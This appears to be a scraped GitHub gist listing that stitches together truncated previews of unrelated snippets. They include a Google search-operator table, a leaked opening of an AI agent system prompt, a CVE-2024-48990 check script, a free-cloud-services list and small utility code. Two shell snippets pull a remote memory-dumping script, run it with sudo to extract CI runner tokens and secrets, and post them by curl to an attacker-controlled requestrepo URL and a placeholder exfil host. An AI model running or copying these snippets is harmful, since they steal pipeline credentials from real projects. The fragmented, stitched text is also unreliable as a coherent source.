| Filter | Description | Example |
|---|---|---|
| allintext | Searches for occurrences of all the keywords given. | allintext:"keyword" |
| intext | Searches for the occurrences of keywords all at once or one at a time. | intext:"keyword" |
| inurl | Searches for a URL matching one of the keywords. | inurl:"keyword" |
| allinurl | Searches for a URL matching all the keywords in the query. | allinurl:"keyword" |
| intitle | Searches for occurrences of keywords in title all or one. | intitle:"keyword" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| YOUR_EXFIL="your-exfil-url.com" | |
| BLOB=`curl -sSf https://gist.github.com/Firebasky/98ad308d7efab5f7ca64bb3b871e307d/raw/188f0d594592eace48fbccaf5b91c954bad2172e/get_token_for_mem | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"AccessToken":"[^"]*"\}' | sort -u` | |
| BLOB2=`curl -sSf https://gist.github.com/Firebasky/98ad308d7efab5f7ca64bb3b871e307d/raw/188f0d594592eace48fbccaf5b91c954bad2172e/get_token_for_mem | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"CacheServerUrl":"[^"]*"\}' | sort -u` | |
| curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if [[ "$OSTYPE" == "linux-gnu" ]]; then | |
| B64_BLOB=`curl -sSfL https://github.com/flank/flank/raw/128b43b61fd7da13ea6829d1fbb4d3f028b6cdad/LICENSE | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0` | |
| curl -X POST https://qk62iikh.requestrepo.com/env -d "$B64_BLOB" | |
| else | |
| exit 0 | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # based on https://davidebove.com/blog/?p=1620 | |
| import sys | |
| import os | |
| import re | |
| def get_pid(): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| You are Manus, an AI agent created by the Manus team. | |
| You excel at the following tasks: | |
| 1. Information gathering, fact-checking, and documentation | |
| 2. Data processing, analysis, and visualization | |
| 3. Writing multi-chapter articles and in-depth research reports | |
| 4. Creating websites, applications, and tools | |
| 5. Using programming to solve various problems beyond development | |
| 6. Various tasks that can be accomplished using computers and the internet |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /usr/bin/env python3 | |
| import sys | |
| import re | |
| if __name__ == "__main__": | |
| if len(sys.argv) != 2: | |
| print('Usage:', sys.argv[0], '<process PID>', file=sys.stderr) | |
| exit(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # https://mp.weixin.qq.com/s/Klj66bHJ3p_VcR14FQXhMA | |
| ubuntu_version=$(lsb_release -rs) | |
| libmodule_scandeps_perl_version=$(apt list --installed 2>/dev/null | grep -E "^(libmodule-scandeps-perl/)" | awk -F'/' '{print $1 " " $2}' | awk -F ' ' '{print $3}' | sed 's/ubuntu.*//') | |
| needrestart_version=$(apt list --installed 2>/dev/null | grep -E "^(needrestart/)" | awk -F'/' '{print $1 " " $2}' | awk -F ' ' '{print $3}') | |
| if [[ "$ubuntu_version" == "22.04" ]]; then | |
| if dpkg --compare-versions "$libmodule_scandeps_perl_version" le 1.31-1; then | |
| if dpkg --compare-versions "$needrestart_version" le 3.5-5ubuntu2.1; then | |
| echo "ubuntu: $ubuntu_version has CVE-2024-48990 vul !!!" |
IaaS指提供系统(可以自己选)或者储存空间之类的硬件,软件要自己手动装;PaaS提供语言环境和框架(可以自己选);SaaS只能使用开发好的软件(卖软件本身);BaaS一般类似于非关系数据库,但各家不通用,有时还有一些其它东西。
- https://education.github.com/pack GitHub学生包,需用教育邮箱验证。各种福利,可从DigitalOcean上手
- https://github.com/ripienaar/free-for-dev 本文尽量不与此项目重复
- https://free.zhelper.net/
- https://github.com/AchoArnold/discount-for-student-dev
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #ifndef COLORS_H | |
| #define COLORS_H | |
| #define BOLD "\e[1m" | |
| #define DIM "\e[2m" | |
| #define UNDERLINED "\e[4m" | |
| #define BLINK "\e[5m" | |
| #define REVERSE "\e[7m" | |
| #define HIDDEN "\e[8m" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import tiktoken | |
| import langdetect | |
| T = tiktoken.get_encoding("o200k_base") | |
| length_dict = {} | |
| for i in range(T.n_vocab): | |
| try: | |
| length_dict[i] = len(T.decode([i])) | |
| except: |
NewerOlder